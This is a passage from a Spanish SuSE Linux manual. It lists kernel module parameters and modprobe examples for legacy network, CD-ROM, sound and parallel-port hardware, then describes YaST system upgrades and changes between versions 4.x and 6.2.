 HP 10/100 VG-AnyLAN (ISA, EISA, PCI) tarjetas de red


Nombre del mdulo: hp100.o

parmetros valores
hp100_port < addr>
Ejemplo: modprobe hp100 hp100_port=0x300

 ICL EtherTeam 16i / 32 tarjeta de red


Nombre del mdulo: eth16i.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe eth16i io=0x300 irq=10

 Novell NE2000 / NE1000 tarjetas de red


Nombre del mdulo: ne.o

parmetros valores
io <addr>
irq <irq>
bad bad, solo si la tarjeta no se reconoce
Ejemplo: modprobe ne io=0x300 irq=10

 NI6510 (AM7990 lance Chip) tarjeta de red


Nombre del mdulo: ni65.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

Ejemplo: modprobe ni65 io=0x300 irq=10

 SMC Ultra tarjeta de red


Nombre del mdulo: smc-ultra.o

338
14.3. Los parmetros

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe smc-ultra io=0x300 irq=10

 SMC 9194 tarjeta de red


Nombre del mdulo: smc9194.o

parmetros valores
io <addr>
irq <irq>
if_port <medium>

variable valores / significado


< medium> 0 auto
1 TP
2 AUI, 10base2
Ejemplo: modprobe smc9194 io=0x300 irq=10 if_port=2

 Western Digital WD80x3 tarjeta de red


Nombre del mdulo: wd.o

parmetros valores
io <addr>
irq <irq>
mem <mem>

mem_end <mem_end>

Ejemplo: modprobe wd io=0x300 irq=10

 IBM Tropic chipset Token Ring tarjeta de red


Nombre del mdulo: ibmtr.o

parmetros valores
io <addr>
irq <irq>
mem_start <mem_start>

Ejemplo: modprobe ibmtr io=0x300

 D-Link DE620 Pocket-Adaptor tarjeta de red


Nombre del mdulo: de620.o

parmetros valores
io < addr>
irq < irq>
bnc 1 usando conector BNC
utp 1 usando conector UTP
clone 1 para tarjeta clnica

339
14. Parmetros del kernel

Ejemplo: modprobe de620 io=0x300 irq=10 bnc=1 utp=0

Lectores CD-ROM propietarios


CD-ROM Los siguientes parmetros son para activar lectores CD-ROM propietarios
propietario que estn conectados a una controladora especial. Los dueos de una de estas
antiguas joyas probablemente ya lo saben : : :
 Aztech CDA268-01 CD-ROM
Nombre del mdulo: aztcd.o

parmetros valores
aztcd < addr>
Ejemplo: modprobe aztcd aztcd=0x300

 Goldstar R420-CD-ROM
Nombre del mdulo: gscd.o

parmetros valores
gscd < addr>
Ejemplo: modprobe gscd gscd=0x300

 Mitsumi CD-ROM
Nombre del mdulo: mcd.o
mcd=<addr>,<irq>[,<wait>]

variable valores / significado


< wait> Valor para el tiempo de espera de la arrancada

Se puede variar el parmetro <wait> entre 0 y 10, si el CD-


ROM no reacciona suficientemente rpido a las peticiones del sistema
("timeout"), por lo cual es posible que no se encuentre el Rootimage
durante la instalacin.
Ejemplo: modprobe mcd mcd=0x300,10,5

 Mitsumi-CD-ROM (Multisession)
Nombre del mdulo: mcdx.o
mcdx=<addr>,<irq>[,<addr>,<irq>]
En el caso de varios drivers se pueden repetir los comandos <addr> y
<irq> hasta cuatro veces.

 Tarjeta de sonido Mozart con interfaz de CD-ROM


Nombre del mdulo: isp16.o
isp16_cdrom_base=<addr>
isp16_cdrom_irq=<irq> isp16_cdrom_dma=<dma>
isp16_cdrom_type=<tipo>

340
14.3. Los parmetros

variable valores / significado


< tipo> Sanyo, Panasonic, Sony, Mitsumi
Este no es realmente un driver para CD-ROM, sino que configura la inter-
faz de los lectores CD-ROM conectados a una tarjeta de sonido de ISP16,
MAD16 o Mozart. Despus de cargar este driver solamente se configura
la interfaz y el driver del CD-ROM se carga posteriormente. El valor de
la variable <tipo> resulta del conector en la tarjeta de sonido a la que
esta conectado el lector CD-ROM.
Ejemplo: modprobe isp16 isp16_cdrom_base=0x300
isp16_cdrom_irq=10 isp16_cdrom_dma=1
isp16_cdrom_type=sony

 Optics Storage 8000 AT CD-ROM


Nombre del mdulo: optcd.o

parmetros valores
optcd < addr>
Ejemplo: modprobe optcd optcd=0x300

 Philips CM206 CD-ROM


Nombre del mdulo: cm206.o
cm206=<addr>,<irq>
Ejemplo: modprobe cm206 cm206=0x300,10

 Sanyo CD-ROM
Nombre del mdulo: sjcd.o

parmetros valores
sjcd < addr>
Ejemplo: modprobe sjcd sjcd=0x300

 Sony CDU 31/33 A


Nombre del mdulo: cdu31a.o

parmetros valores
cdu31a_port <addr>
cdu31a_irq <irq>
Ejemplo: modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10

 Sony CDU 535


Nombre del mdulo: sonycd535.o

parmetros valores
sonycd535 < addr>
Ejemplo: modprobe sonycd535 sonycd535=0x300

341
14. Parmetros del kernel

 Soundblaster Pro 16 MultiCD


Nombre del mdulo: sbpcd.o
sbpcd=<addr>,<tipo>
donde <tipo> puede tener los siguientes valores:

variable valores / significado


0 LaserMate
1 SoundBlaster
2 SoundScape
3 Teac16bit
Ejemplo: modprobe sbpcd sbpcd=0x300,0
Tarjetas de sonidos y sus chipsets
Sonido Desde la versin 2.2.xx del kernel, el soporte de tarjetas de sonido se realiza
por mdulos y se controla mediante varios parmetros.
 AD1816 Chip
Nombre del mdulo: ad1816.o
Entre otras se soporta: Terratec Base 1, Terratec Base 64, HP Kayak, Acer
FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

ad1816_clockfreq <clockfreq>

Ejemplo: modprobe ad1816 io=0x530 irq=5 dma=1


dma2=3 ad1816_clockfreq=33000

 AD1848/CS4248 Chip (MSS)


Nombre del mdulo: ad1848.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

type <cardtype>

deskpro_xl <magic>

 Driver genrico OPLx


Nombre del mdulo: adlib_card.o

parmetros valores
io < addr>
Ejemplo: modprobe adlib_card io=0x330

342
14.3. Los parmetros

 Crystal 423x chipsets


Nombre del mdulo: cs4232.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

Ejemplo: modprobe cs4232 io=0x530 irq=5 dma=1 dma2=3

 Ensoniq 1370 chipset


Nombre del mdulo: es1370.o
Ver tambin PCI64/128.

parmetros valores
joystick 1: activar Joystick
lineout 1: cambiar Line-in en Line-out
micz impedancia del micrfono
Ejemplo: modprobe es1370 joystick=1 lineout=1

 Creative Ensoniq 1371 chipset


Nombre del mdulo: es1371.o
Ver tambin PCI64/128.

parmetros valores
joystick <addr>
Los valores vlidos para <addr> son 0x200, 0x208, 0x210 y 0x218.
Ejemplo: modprobe es1371 joystick=0x200

 Gravis Ultrasound
Nombre del mdulo: gus.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma16 <dma16>

type
gus16
no_wave_dma
db16

 MAD16
Nombre del mdulo: mad16.o

343
14. Parmetros del kernel

Soporta OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930 y


OPTi 82C924.

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma16 <dma2>

Ejemplo: modprobe mad16 io=0x530 irq=7 dma=0 dma16=1

 Turtle Beach Maui y Tropez


Nombre del mdulo: maui.o

parmetros valores
io <addr>
irq <irq>
Ejemplo: modprobe maui io=0x530 irq=5

 MPU401
Nombre del mdulo: mpu401.o

parmetros valores
io <addr>
Ejemplo: modprobe mpu401 io=0x330

 Turtle Beach MultiSound


Nombre del mdulo: msnd.o
Ejemplo: modprobe msnd

 Turtle Beach Classic/Monterey/Tahiti


Nombre del mdulo: msnd_classic.o

parmetros valores
io < addr>
irq < irq>
mem
write_ndelay
major
fifosize
calibrate_signal
Ejemplo: modprobe io=0x290 irq=7 mem=0xd0000

 Turtle Beach Pinnacle/Fiji


Nombre del mdulo: msnd_pinnacle.o

344
14.3. Los parmetros

Esta tarjeta trabaja con los siguientes parmetros, adicionales a los de


Turtle Beach Classic/Monterey/Tahiti (apartado 14.3.4, Pgina 344):

parmetros valores
digital
cfg
reset
mpu_io
mpu_irq
ide_io0
ide_io1
ide_irq
joystick_io
Ejemplo: modprobe msnd_pinnacle cfg=0x250 io=0x290 irq=5
mem=0xd0000

 OPL3
Nombre del mdulo: opl3.o

parmetros valores
io < addr>
Ejemplo: modprobe io=0x388

 OPL3-SA1
Nombre del mdulo: opl3sa.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

mpu_io <addr>

mpu_irq <irq>

Ejemplo: modprobe opl3sa io=0x530 irq=11 dma=0 dma2=1


mpu_io=0x330 mpu_irq=5

 YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx


Nombre del mdulo: opl3sa2.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

mss_io <addr>

mpu_io <addr>

345
14. Parmetros del kernel

Ejemplo: modprobe opl3sa2 io=0x370 irq=7 dma=0 dma2=3


mss_io=0x530 mpu_io=0x330

 Pro Audio Spectrum


Nombre del mdulo: pas2.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma16 <dma16>

sb_io <addr>

sb_irq <irq>

sb_dma <dma>

sb_dma16 <dma16>

joystick
symphony
broken_bus_clock

 Personal Sound System (ECHO ESC614)


Nombre del mdulo: pss.o

parmetros valores
pss_io < addr>
mss_io < addr>
mss_irq <irq>

mss_dma <dma>

mpu_io <addr>

mpu_irq <irq>

pss_mixer 1 (activar) o 0

 Sound Blaster y clnicos


Nombre del mdulo: sb.o

parmetros valores
io < addr>
irq < irq>
dma <dma>

dma16 <dma16>

mpu_io <addr>

mad16 1 (activar)
trix 1 (activar)
pas2 1 (activar)
sm_games 1 (activar)
acer 1 (activar), para Acer Notebooks
mwave_bug 1 (activar)
Ejemplo: modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330

346
14.3. Los parmetros

 Aztech Sound Galaxy


Nombre del mdulo: sgalaxy.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

sgbase

 S3 Sonic Vibes
Nombre del mdulo: sonicvibes.o
Sin parmetros.

 Ensoniq SoundScape
Nombre del mdulo: sscape.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

mss
mpu_io < addr>
mpu_irq < irq>
spea 1

 MediaTrix AudioTrix Pro


Nombre del mdulo: trix.o

parmetros valores
io <addr>
irq <irq>
dma <dma>

dma2 <dma2>

sb_io <addr>

sb_irq <irq>

sb_dma <dma>

mpu_io <addr>

mpu_irq <irq>

 UART401
Nombre del mdulo: uart401.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe io=0x330 irq=9

347
14. Parmetros del kernel

 UART6850
Nombre del mdulo: uart6850.o

parmetros valores
io < addr>
irq < irq>

 Sound Blaster DSP chipsets


Nombre del mdulo: v_midi.o
Sin parmetros.

 Turtle Beach Maui, Tropez, Tropez Plus


Nombre del mdulo: wavefront.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe wavefront io=0x200 irq=9

El puerto paralelo
Puerto La utilizacin del puerto paralelo es compleja. Despus de su configuracin
paralelo hay un sub-sistema propio a disposicin.
 Puerto paralelo
Nombre del mdulo: parport.o
Ejemplo: modprobe parport

 Puerto paralelo especfico


Nombre del mdulo: parport_pc.o

parmetros valores
io < addr>
irq < irq>
Para tener p. ej. 3 puertos al estilo PC con uno en la direccin 0x3bc sin
IRQ, otro en la direccin 0x378 con IRQ 7 y el tercero en la direccin
0x278 con el IRQ detectado automticamente, se debe indicar (en una
lnea!):
Ejemplo: modprobe parport_pc io=0x3bc,0x378,0x278
irq=none,7,auto

 Driver de impresora
Nombre del mdulo: lp.o

parmetros valores
parport < port>
Ejemplo: modprobe lp parport=0,2

348
14.3. Los parmetros

 Dispositivos IDE en el puerto paralelo


Nombre del mdulo: paride.o
Al usar una cadena de dispositivos Paride en un puerto paralelo, es
preciso cargar primero parport.o (ver apartado 14.3.4, Pgina 348)!
Ejemplo: modprobe paride
Si es posible, utilice el puerto paralelo en modo EPP; para asegurarse,
entre a la BIOS de la computadora y ajstelo.

 Driver de protocolo IDE de bajo nivel para el puerto paralelo


Nombre del mdulo: <xxxx>.o
Protocolo Dispositivo
aten ATEN EH-100 (HK)
bpck Microsolutions backpack (US)
comm DataStor (old-type) "commuter"adapter (TW)
dstr DataStor EP-2000 (TW)
epat Shuttle EPAT (UK)
epia Shuttle EPIA (UK)
fit2 FIT TD-2000 (US)
fit3 FIT TD-3000 (US)
friq Freecom IQ cable (DE)
frpw Freecom Power (DE)
kbic KingByte KBIC-951A and KBIC-971A (TW)
ktti KT Technology PHd adapter (SG)
on20 OnSpec 90c20 (US)
on26 OnSpec 90c26 (US)
Ejemplo: modprobe epat

 Disco duro IDE en puerto paralelo


Nombre del mdulo: pd.o

parmetros valores
verbose < valor>
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4,
Pgina 349).
Ejemplo: modprobe pd verbose=1

 ATAPI CD-ROM en puerto paralelo


Nombre del mdulo: pcd.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4,
Pgina 349).
Ejemplo: modprobe pcd

 Disquetera ATAPI en puerto paralelo


Nombre del mdulo: pf.o

349
14. Parmetros del kernel

Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4,


Pgina 349).
Ejemplo: modprobe pf

 Streamer ATAPI en puerto paralelo


Nombre del mdulo: pt.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4,
Pgina 349).
Ejemplo: modprobe pt

 Dispositivo ATAPI genrico en puerto paralelo


Nombre del mdulo: pg.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4,
Pgina 349).
Ejemplo: modprobe pg

350
Parte VII

SuSE Linux: Actualizacin y


especialidades

351
Captulo 15
Actualizacin del sistema Gestin
de paquetes

15.1 Actualizacin de SuSE Linux


SuSE Linux ofrece la posibilidad de actualizar un sistema existente sin
necesidad de instalar todo desde cero. Hay que distinguir entre la actual-
izacin de algunos paquetes y la del sistema completo, en el caso p. ej. que el
sistema est basado an en binarios del tipo a.out. Dabei mu unterschieden
werden zwischen der Aktualisierung einzelner Pakete und einem kompletten
Update des Systems.

Es un fenmeno conocido, el hecho de que el software crezca de ver-


sin en versin, por lo que se recomienda averiguar de cunto espacio se
dispone en las particiones, usando df, antes de la actualizacin. Si se tiene
la impresin de estar un poco justo con el espacio, se recomienda tam-
bin hacer un respaldo de los datos y modificar las particiones (aumentar su
tamao). Es difcil determinar la cantidad de espacio necesario ya que este
depende en gran medida de las particiones actuales, del software elegido y
desde cul versin se va a realizar la actualizacin.

Antes de realizar cualquier actualizacin se deben copiar los ficheros de con-


figuracin a un medio independiente (cinta, disquetes, unidad-ZIP, etc.); so-
bre todo se trata de los ficheros contenidos en /etc pero tambin se debe
tener en cuenta el directorio /var/lib donde estn los ficheros de configu-
racin de los News o de xdm. Adems debe respaldar los datos actuales de
los usuarios; esto se encuentran en el directorio /home.

Antes de actualizar PostgreSQL (paquete postgres), se deben volcar


(ingl. dump) todos los bancos de datos al disco; ver Manpage de pg_dump
(man pg_dump). Evidentemente esto solo es necesario si se ha usado
PostgreSQL antes de la actualizacin.

15.1.1 Actualizacin del sistema base

Al actualizar el sistema base se cambian los componentes centrales del sis-


tema (p. ej. las bibliotecas), por lo tanto esto no se puede llevar a cabo desde

353
15. Actualizacin del sistema Gestin de paquetes

el sistema Linux en ejecucin. Antes de comenzar con la actualizacin se


debe anotar el nombre de la particin raz que se obtiene con el comando:
tierra: # df /
En este caso /dev/sda2 es la particin raz que se debe anotar, ya que es sta
la que est montada bajo /.

Filesystem 1024-blocks Used Available Capacity Mounted on


/dev/sda2 45152 30121 12622 70% /

Para obtener informacin sobre cambios o suplementos posteriores a la


impresin de este libro, se puede consultar el fichero README o bajo
DOS/Windows el fichero LIESMICH.DOS ambos se encuentran en el
CD 1.

Entonces se tendr que arrancar el sistema como si se tratara de la primera


instalacin normalmente con el disquete de arranque incluido en el paquete
o directamente desde el CD como se explica en el apartado 2.3.1.
Bsicamente hay que seguir los pasos que se exponen a continuacin: in-
mediatamente despus del arranque del sistema se inicia automticamente
linuxrc que pide escoger en la opcin `Configuracin' del men prin-
cipal, el idioma, el color de la pantalla y el teclado (siempre se confirma
pulsando `Ok'). Con la opcin `Mdulos del Kernel (Drivers)' se
cargan los drivers necesarios para el hardware (el procedimiento se detalla en
la descripcin de linuxrc, apartado 16.2, Pgina 369). Despus se puede ele-
gir el medio fuente de la instalacin pasando por las opciones `Iniciar la
instalacin / Sistema' y `Comenzar la instalacin' (ver aparta-
do 16.2, Pgina 371). A continuacin linuxrc carga automticamente el en-
torno de instalacin proporcionado por YaST.
En el primer men de YaST, seleccionar la opcin `Actualizar sistema';
con esto YaST intenta reconocer la particin raz y ofrece si las hay varias
posibilidades de las cuales se debe seleccionar la particin raz, tal como se
ha anotado anteriormente (ejemplo: /dev/sda2). YaST lee la /etc/fstab
antigua que se encuentra sobre esta particin, y monta los sistemas de
ficheros anotados en ella; seleccionar ahora `Continuar'.
 
Despus de volver con Esc al men principal, se selecciona `Actualizar
sistema' (ver apartado 3.2). YaST analiza el sistema actual y muestra el
resultado de este anlisis.
A continuacin se actualizan los componentes centrales del sistema y YaST
genera automticamente respaldos de los ficheros modificados a partir de la
ltima instalacin; adems, los ficheros de configuracin antiguos se guardan
con la extensin pfad.rpmorig o .rpmsave (ver el apartado 15.3.1, Pgi-
na 361). Todo el proceso de instalacin y actualizacin se protocoliza en
el fichero /var/adm/inst-log/installation-*.

354
15.1. Actualizacin de SuSE Linux

15.1.2 Actualizacin del resto de programas


Una vez instalado el sistema base, se entra al modo especial de actualizacin
de YaST que permite actualizar el resto del sistema segn necesidades y/o
preferencias.
YaST genera dos listas de paquetes a actualizar. En la primera se encuen-
tran los paquetes en los que YaST reconoce automticamente el sentido y
la posibilidad de actualizacin, ya que el paquete nuevo tiene un nmero de
versin ms alto o, cuando ha cambiado un paquete con el cual tiene alguna
dependencia. La segunda lista muestra los paquetes sobre los que no hay to-
tal seguridad de si deben ser actualizados o no, debido p. ej. a que el paquete
antiguo no especifica un nmero de versin.
En estas dos listas se pueden seleccionar a gusto propio los paquetes que se
desean actualizar. La actualizacin no solo reemplaza los paquetes selec-
cionados por los de la nueva versin sino que se respaldan tambin todos los
ficheros que han sido modificados desde la ltima instalacin.
Despus de haber seleccionado los paquetes, el proceso se termina como una
instalacin desde cero; entre otras cosas, se tendr que seleccionar tambin
un kernel nuevo.

Si se inicia Linux con loadlin, es preciso copiar el nuevo kernel en el


directorio de loadlin de la particin DOS!

Para que el sistema no entre en el modo de operacin normal despus de la


actualizacin (ver runlevel en el apartado 17.2, Pgina 382), se introduce
en el prompt de LILO el siguiente comando:
NO_AUTO_SETUP=true
De este modo se inicia YaST inmediatamente despus de entrar al sistema
y se terminan las operaciones que comenzaron con la actualizacin. El uso
del parmetro NO_AUTO_SETUP=true es especialmente razonable cuando se
presentan problemas durante el inicio del sistema. Estos pueden aparecer
cuando algunas partes esenciales del sistema se cargan a travs de una tar-
jeta SCSI del tipo PCMCIA. Para remediarlos y finalizar correctamente la
configuracin, se deben ejecutar los siguientes pasos:
1. Al iniciar el sistema, indicar en el prompt:
NO_AUTO_SETUP=true

2. Entrar al sistema como superusuario `root' e iniciar una vez yast --nomenu
para que se lleven a cabo las configuraciones necesarias.
3. Iniciar como `root' el comando /lib/YaST/bootsetup.conf y es-
perar a que el proceso finalice.

El resultado final es el mismo que se obtendra si YaST se hubiese ejecutado


automticamente.
El ususario de Linux experimentado podra prescindir de entrar al nivel de
ejecucin estndar e ir directamente al modo de usuario nico (ingl. Single-
User-Mode) (Runlevel 1), indicando single en el prompt de LILO.

355
15. Actualizacin del sistema Gestin de paquetes

15.1.3 Actualizacin de paquetes especficos


Independientemente de la actualizacin del sistema base, se pueden actualizar
paquetes especficos en cualquier momento.
Esto se realiza en YaST (ver el apartado 3.5.3), entrando al sub-men
`Escoger/Instalar paquetes'. Se puede seleccionar cualquier paquete,
pero si selecciona uno que es esencial para el sistema, YaST advierte sobre la
necesidad de actualizar tal paquete en el modo especial de actualizacin. Hay
muchos paquetes que usan p. ej. libreras compartidas (ingl. shared libraries),
que pueden estar en uso en el momento de la actualizacin y por tanto se
podran producir errores.

15.2 De versin a versin


Los siguientes apartados mencionan los detalles que se han cambiado de una
versin de SuSE Linux a otra, como p. ej. el cambio de lugar de un fichero de
configuracin o la diferencia de comportamiento de un programa archicono-
cido. La lista es incompleta ya que solo se mencionan los aspectos impor-
tantes para el trabajo diario de los usuarios o del administrador de sistema.
En la descripcin de las diferencias y particularidades hay muchas referen-
cias al banco de datos de soporte (SDB) del paquete sdb_en, serie doc (ver
apartado 1.4.1, Pgina 7).

SuSE Linux intenta cumplir al mximo el estndar de sistema de ficheros


(ingl. Filesystem-Standard (FSSTD)) o de su sucesor, el estndar sobre jer-
arqua del sistema de ficheros (ingl. Filesystem Hierarchy Standard (FHS,
paquete fhs, serie doc)). Por lo tanto a veces resulta necesario mover
ficheros o directorios al lugar correcto del rbol de directorios.

Los problemas y cambios de ltima hora de cada versin se publican en


nuestro servidor web bajo http://www.suse.de/sdb/de/html/.

15.2.1 De versin 4.x a 5.0


Problemas y particularidades:
http://www.suse.de/sdb/de/html/maddin_bugs5.html.
 Cambio de la gestin de paquetes de TGZ a RPM (ver apartado 15.3).
 Nueva Bash (ver en la SDB los artculos http://www.suse.de/sdb/
de/html/maddin_bash2.html y http://www.suse.de/sdb/de/
html/maddin_inputrc.html).
 startx ya no se ejecuta en segundo plano (ver en la SDB http://www.
suse.de/sdb/de/html/maddin_xprompt5.html).
 Samba necesita la variable <START_SMB=yes> en el fichero /etc/rc.
config para que se inicie.
 Las tareas peridicas del sistema (cron-jobs) se encuentran ahora en el
fichero /etc/crontab (ver el apartado 16.5.1, Pgina 379).
 Nuevo grupo `dialout', en el que se deben dar de alta todos los usuarios
con derecho para ejecutar programas de comunicacin como minicom,
pppd, etc.

356
15.2. De versin a versin

 La estructura del sistema de ficheros de rescate fue adaptada a la la del


sistema normal.

15.2.2 De versin 5.0 a 5.1


Problemas y particularidades:
http://www.suse.de/sdb/de/html/maddin_bugs51.html.
 LILO, primer cambio: los loaders any_b.b y any_d.b se han quedado
obsoletos (ver apartado 10, Pgina 114).
 LILO, segundo cambio: si se presentan problemas con la controladora
SCSI Adaptec 2940, no se debe usar la opcin linear en el fichero
/etc/lilo.conf.
 Software opcional, como p. ej. KDE o Applixware, se instala ahora en
el directorio /opt (ver el apartado 2.9, Pgina 60)
 La descripcin de los paquetes se ha omitido por falta de espacio en el
libro y ahora se encuentra en el primer CD en el directorio /docu; las
versiones en alemn son pkg_German.dvi y pkg_German.ps y en ingls
pkg_English.dvi y pkg_English.ps.
 Tambin se ha suprimido el anexo con las requerimientos de sistema, pero
como alternativa se tiene a la mano el banco de datos de componentes
(ingl. Components Database, CDB). Se encuentra en el paquete cdb, serie
doc o en lnea en http://www.suse.de/cdb/.
 Los ficheros m4 de Sendmail se encuentran ahora en el directorio /usr/
share/sendmail.
 El formato de las fuentes es Source RPM (ver en el banco de datos
de soporte http://www.suse.de/sdb/de/html/ke_source-rpm.
html).
15.2.3 De versin 5.1 a 5.2
Problemas y particularidades:
http://www.suse.de/sdb/de/html/maddin_bugs52.html.
 YaST : A la serie ALL se accede desde `Seleccin series' con F4 

(= `Ordenar') (ver el apartado 3.5.3, Pgina 85).
 Los servidores XSuSE forman ahora parte de las fuentes oficiales de
XFree86, por lo que se pueden usar otra vez los servidores estndar de
la serie x, a excepcin de XSuSE_Elsa_GLoria (paquete xglint), he-
cho para tarjetas de vdeo a base de Glint o Permedia.
 Por razones de seguridad los servidores X ya no se instalan en modo
suid root (o sea, sin la s-bit). Por lo tanto, se debe iniciar el Sistema
X Window con el Xwrapper a travs del comando startx o con un
gestor de pantalla como xdm o kdm.
 wuftpd se establece ahora en /etc/inetd.conf como el servidor ftp es-
tndar (ver en el SDB http://www.suse.de/sdb/de/html/grimmer_
ftpd.html).
 Las opciones de ps ya no comienzan con `-' por lo tanto es necesario
adaptar los scripts a ello (ver en el SDB http://www.suse.de/sdb/
de/html/maddin_ps52.html).

357
15. Actualizacin del sistema Gestin de paquetes

 SuSEconfig (ver el apartado 17.5) acepta algunas opciones adicionales


que aceleran el trabajo.

15.2.4 De versin 5.2 a 5.3


Problemas y particularidades:
http://www.suse.de/sdb/de/html/bugs53.html.
 La primera instalacin de SuSE Linux tal como la actualizacin son ahora
secuenciales; si se prefiere el procedimiento antiguo con sus mltiples
posibilidades de intervencin, se debe seleccionar el modo experto en la
entrada a YaST (ver Figura 2.6, Pgina 23).
 Adems del disquete de arranque se ofrece en el CD la imagen del dis-
quete modules provisto de mdulos adicionales para el uso de hardware
extico; (ver apartado 16.2, Pgina 368).
 Ahora todos los servidores X se encuentran ordenados en la serie xsrv
(X-server) en lugar de la serie x.
 Para tarjetas de vdeo nuevas existen los servidores X XFCom_3DLabs (pa-
quete x3dlabs; antes XSuSE_Elsa_GLoria, paquete xglint) y XFCom_
Cyrix (paquete xcyrix).
 Los usuarios que deseen usar programas de comunicacin como
minicom, seyon, etc., deben estar de alta en el grupo `uucp'; ver
http://www.suse.de/sdb/de/html/ke_terminal-prog.html.
 La versin actual de Emacs es la 20.x, con la que se deben usar los
ficheros de inicio del directorio /etc/skel (ver http://www.suse.de/
sdb/de/html/ke_emacs-update.html).
 Las SGML-Parsertools del paquete jade_dsl se encuentran ahora en un
sub-paquete sp propio.
 PostgreSQL (paquete postgres) se forma de varios sub-paquetes (ingl.
subpackages): El motor del banco de datos, la inicializacin y las inter-
faces.
 Las Manpages del paquete allman se han distribuido entre varios sub-
paquetes (ver http://www.suse.de/sdb/de/html/ke_lpdmanxx.
html).
15.2.5 De versin 5.3 a 6.0
Problemas y particularidades:
http://www.suse.de/sdb/de/html/bugs60.html.
 Tal como est previsto en las fuentes del kernel, el kernel con el que se
arranca la mquina se instala en el directorio /boot. Se debe tener cuida-
do en anotar correctamente las ramas en el fichero /etc/lilo.conf; de
hecho YaST lo propone de este modo, no obstante, si se prefiere contin-
uar con el kernel antiguo (/vmlinuz), se debe intervenir en el proceso de
actualizacin y configurar LILO con este fin.
 La biblioteca del sistema es ahora glibc (tambin llamada libc6). Al
actualizar los programas suministrados con SuSE Linux no se tienen por
qu presentar problemas; despus de la actualizacin se deben compilar
los programas propios nuevamente y enlazarlos con la biblioteca glibc.

358
15.2. De versin a versin

Si esto no fuera posible p. ej. porque no se dispone del cdigo fuente


de los programas , existe como solucin a este problema la posibilidad
de instalar el paquete shlibs5 (libc5), con lo cual se pueden seguir
ejecutando los programas antiguos.
 Las partes de /etc/rc.config que corresponden a programas con
amplias posibilidades de configuracin, se han trasladado a diferentes
ficheros en el directorio /etc/rc.config.d.
 cron es capaz de ejecutar scripts en los directorios /etc/cron.
hourly, /etc/cron.daily, /etc/cron.weekly y /etc/cron.
monthly; la tabla crontab del sistema ya no se llama /root/bin/
cron.daily sino que se denomina /etc/cron.daily/aaa_base.
 SuSE Linux incluye la versin actual de teTeX que se instala ahora en
/var, conforme al estndar de jerarqua del sistema de ficheros (ingl.
Filesystem Hierarchy Standard (FHS)), por lo tanto, este directorio ocupa
unos 15 MB adicionales .
A su vez, teTeX se ha dividido en varios sub-paquetes, con lo cual es
posible que falte alguno despus de la actualizacin. En este caso se re-
comienda comprobar si todos los paquetes de la serie tex estn realmente
instalados.
 Las extensiones de LATEX, el paquete colortbl y el paquete hyperref,
se incluyen ahora en teTeX y por tanto han dejado de existir por separado.
 C News se eliminar de la distribucin, pero durante un perodo transi-
torio el paquete cnews seguir existiendo en el CD 1 bajo unsorted/.
Con el tiempo quizs sea necesario usar el paquete inn o el paquete
leafnode.
 Los ficheros de configuracin de UUCP se encuentran en el directorio
/etc/uucp.
 Los estilos DocBook-Stylesheets se encuentran ahora en un paquete
propio, paquete docbkdsl, serie sgm.

15.2.6 De versin 6.0 a 6.1

Problemas y particularidades:
http://www.suse.de/sdb/de/html/bugs61.html.

 El paquete SuSE Linux ya no incluye el CD-ROM con el Live-


Filesystem, no obstante, se puede conseguir por separado abonando
una cuota de proteccin (valor simblico). Para mayor informacin sobre
el uso de este CD, consultar el apartado 3.7.4, Pgina 97.
 Para la primera instalacin hay un disquete adicional con mdulos que
funcionan como drivers para lectores de CD-ROM especiales, unidades
en el puerto paralelo, tarjetas PCMCIA, etc. En el momento en que
se necesitan, linuxrc pide que se introduzca el disquete-modules. (ver
apartado 2.3.3).
 En el caso del kernel 2.2.x, la interfaz estndar para imprimir a travs
del puerto paralelo es /dev/lp0 (ver apartado 12.1, Pgina 285).

359
15. Actualizacin del sistema Gestin de paquetes

15.2.7 De versin 6.1 a 6.2


Problemas y particularidades:
http://www.suse.de/sdb/de/html/bugs62.html.
 rpm (ver tambin el apartado 15.3) existe ahora en versin 3.0. El for-
mato del banco de datos RPM se ha modificado, por lo tanto es preciso
realizar la conversin en el momento de instalar rpm. Efectuando una ac-
tualizacin normal (del sistema base) con YaST, la conversin se llevar
a cabo en el momento ms indicado (el proceso se ejecuta en segundo
plano).
 Kernel smbmount : El mdulo smbfs.o carece ahora del Workaround
para Windows 95 (CONFIG_SMB_WIN95); sin embargo, si se presentara
algn problema montando Shares de Windows 95, utilice las op-
ciones adecuadas de mount (ver la documentacin en /usr/src/linux/
Documentation/filesystems/smbfs.txt junto con las fuentes del
kernel).
 La librera de sistema glibc existe ahora en versin 2.1. En lo posible
se suministran componentes que permiten seguir usando los programas
basados en glibc-2.0. Esto tiene sus limitaciones cuando se trata de ac-
ceder a ciertos smbolos internos, por lo que se recomienda compilar de
nuevo todos los programas propios.
 Con la glibc-2.1 se efecta el cambio a los dispositivos sogUnix98 PTY,
por lo que hace falta montar tambin el sistema de ficheros devpts. Esto
se puede conseguir p. ej. con la siguiente entrada en /etc/fstab:
none /dev/pts devpts gid=5,mode=620 0 0
Ver tambin la documentacin en /usr/src/linux/Documentation/
